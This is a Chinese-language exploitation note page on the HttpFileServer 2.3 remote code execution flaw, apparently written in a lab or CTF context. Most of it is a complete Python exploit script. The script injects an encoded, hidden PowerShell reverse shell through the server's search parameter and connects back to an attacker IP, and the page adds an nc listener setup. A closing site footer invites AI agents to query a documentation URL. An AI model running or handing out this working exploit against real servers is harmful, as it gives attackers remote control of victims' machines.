# HttpFileServer 2.3
HttpFileServer 2.3 利用笔记，涵盖易受攻击的 HFS RCE、利用修改、PowerShell payload 投递、反向 Shell 执行和监听器设置。
发现了一个 HttpFileServer 2.3 Web 服务器。该版本存在远程代码执行（RCE）漏洞。
### **漏洞利用搜索**
命令：
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**自定义 Python 脚本**
**自定义 Python 脚本**
修改脚本以包含以下参数：
* `LHOST` ：你的本地 IP（VPN）。
* `LPORT` ：监听器本地端口（例如 4444）。
* `RHOST`：目标 IP。
* `RPORT`：易受攻击的服务端口，例如 80。
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# 定义要写入文件的命令
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# 将命令编码为 base64 格式
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/n已将命令编码为 base64 格式...")
# 定义要包含在 URL 中的有效载荷
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# 对有效载荷进行编码并发送 HTTP GET 请求
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/n已将有效载荷编码并向目标发送了 HTTP GET 请求...")
# 打印一些信息
print("/n正在打印一些调试信息...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# 监听连接
print("/n正在监听连接...")
os.system(f'nc -nlvp {lport}')
```
将你的机器设置为监听器：
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/cms/httpfileserver-2.3-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
